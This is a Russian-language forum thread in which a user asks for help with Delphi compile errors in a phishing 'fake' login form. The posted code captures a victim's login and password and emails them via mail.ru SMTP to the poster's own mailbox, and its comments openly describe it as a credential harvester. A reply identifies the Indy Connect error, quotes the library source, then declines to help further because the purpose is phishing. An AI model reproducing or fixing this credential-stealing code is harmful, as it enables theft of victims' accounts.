[Помогите!] Подскажите где ошибки!

[Iufy*fjvklJw789]

Цитата: unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, IdBaseComponent, IdMessage, IdPOP3, IdComponent, IdTCPConnection, IdTCPClient, IdExplicitTLSClientServerBase, IdMessageClient, IdSMTPBase, IdSMTP, StdCtrls; type TForm1 = class(TForm) IdMessage1: TIdMessage; IdSMTP1: TIdSMTP; IdPOP31: TIdPOP3; Edit1: TEdit; Edit2: TEdit; Button1: TButton; procedure Button1Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.Button1Click(Sender: TObject); begin idmessage1.Recipients.emailaddresses:='login@mail. ru'; //Куда придут пароль и логин с фейка idmessage1.From.Text:='[Ссылки могут видеть только зарегистрированные пользователи. ]'; //От кого пишем сюда тот с которого будет отправляться idmessage1.body.text:='Логин:'+edit1.text+' Пароль:'+edit2.text; //Тело письма idmessage1.subject:='Фейк'; // Тема письма idmessage1.ContentType:='text/plain'; //Тип письма- можно неуказывать, но мы в целях безопасности укажим ) idPOP31.username:='[Ссылки могут видеть только зарегистрированные пользователи. ]'; //Логин idPOP31.Password:='xxxxx'; //Пароль idPOP31.Host:='pop3.mail.ru'; //pop3 на mail.ru(для list.ru, bk.ru и inbox.ru такой же) для другого домена естественно будет другой idPOP31.Port:=110; //Порт POP3 idPOP31.Connect(6000); //подключаемся с таймаутом на 60сек idSmtp1.username:='[Ссылки могут видеть только зарегистрированные пользователи. ]'; //Логин где mail.ru название домена idSmtp1.Password:='xxxxxxx'; //Пароль idsmtp1.Host:='smtp.mail.ru'; //smtp на mail.ru(для list.ru, bk.ru и inbox.ru такой же) для другого домена естественно будет друго idsmtp1.Port:=25; //Порт smtp idsmtp1.Connect(60000); //Коннектимся с таймаутом 60 сек idSmtp1.Send(IdMessage1); //Отправка письма с логином и паролем idSmtp1.Disconnect; //Отключаемся idPOP31.Disconnect; //Отключаемся end; end.

почиму ошибки-то???

[Тигрь]

Цитата: [DCC Error] Unit1.pas(44): E2250 There is no overloaded version of 'Connect' that can be called with these arguments

Потому что у коннекта нет аргумента. А вообще когда задаешь такие вопросы нужно говорить какую ошибку выводит, и какая версия делфи.

[Iufy*fjvklJw789]

Цитата: Сообщение от Тигрь Потому что у коннекта нет аргумента. А вообще когда задаешь такие вопросы нужно говорить какую ошибку выводит, и какая версия делфи.

2007
можешь помочь исправить, как ему дать аргумент?

[Тигрь]

Он не принимает аргументы вообще:

procedure TIdPOP3.Connect;
var
  S: String;
  I: Integer;
begin
  FHasAPOP := False;
  FHasCAPA := False;
  FAPOPToken := '';

  if (IOHandler is TIdSSLIOHandlerSocketBase) then begin
    (IOHandler as TIdSSLIOHandlerSocketBase).PassThrough := (FUseTLS <> utUseImplicitTLS);
  end;

  inherited Connect;
  try
    GetResponse(ST_OK);

    // the initial greeting text is needed to determine APOP availability
    S := LastCmdResult.Text.Strings[0];  //read response
    I := Pos('<', S);    {Do not Localize}
    if i > 0 then begin
      S := Copy(S, I, MaxInt); //?: System.Delete(S,1,i-1);
      I := Pos('>', S);    {Do not Localize}
      if I > 0 then begin
        FAPOPToken := Copy(S, 1, I);
      end;
    end;
    FHasAPOP := (Length(FAPOPToken) > 0);
    CAPA;
    if FAutoLogin then begin
      Login;
    end;
  except
    Disconnect(False);
    raise;
  end;
end;

Если бы было для какого то дела то помог бы. А для фейка не стану. И так я тебе дал много подсказок. Придется разбираться тебе самому.